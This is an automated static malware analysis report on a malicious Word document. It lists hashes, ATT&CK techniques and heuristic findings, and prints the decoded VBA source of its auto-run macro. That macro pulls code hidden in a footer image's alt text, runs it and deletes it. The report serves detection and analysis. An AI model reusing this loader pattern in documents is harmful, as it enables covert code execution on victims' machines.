Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 beea483264405a56…

MALICIOUS

Office (OLE)

43.5 KB Created: 2017-11-27 00:30:00 Authoring application: Microsoft Office Word First seen: 2017-11-29
MD5: 97ccddd7c5182087298d1038fa38d376 SHA-1: 4fcb2291adee5f6c0aec4167de0d99a2c75f5049 SHA-256: beea483264405a56d0d7356a004f42a3a404a3ab61170a56ab554af36f2126e8
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Word document containing VBA macros. The AutoOpen and Auto_Open macros are designed to execute code upon document opening. The macro attempts to dynamically add and run code from the document's metadata, likely to download and execute a second-stage payload. The specific family is not identifiable from the provided evidence.

Heuristics 5

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 685 bytes
SHA-256: 9957d5f00be52cc4f284e42513fb5fef54a60c544991c75e14c24f356258aef9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "MyDocument"
Sub Auto_Open()
    Dim Pjqvz As Object
    Set Pjqvz = ActiveDocument.VBProject.VBComponents.Add(1)
    Pjqvz.CodeModule.AddFromString ActiveDocument.Sections(1).Footers(1).Range.InlineShapes(1).AlternativeText
    Application.Run Pjqvz.Name & ".R"
    ActiveDocument.VBProject.VBComponents.Remove Pjqvz
End Sub
Sub AutoOpen()
    Auto_Open
End Sub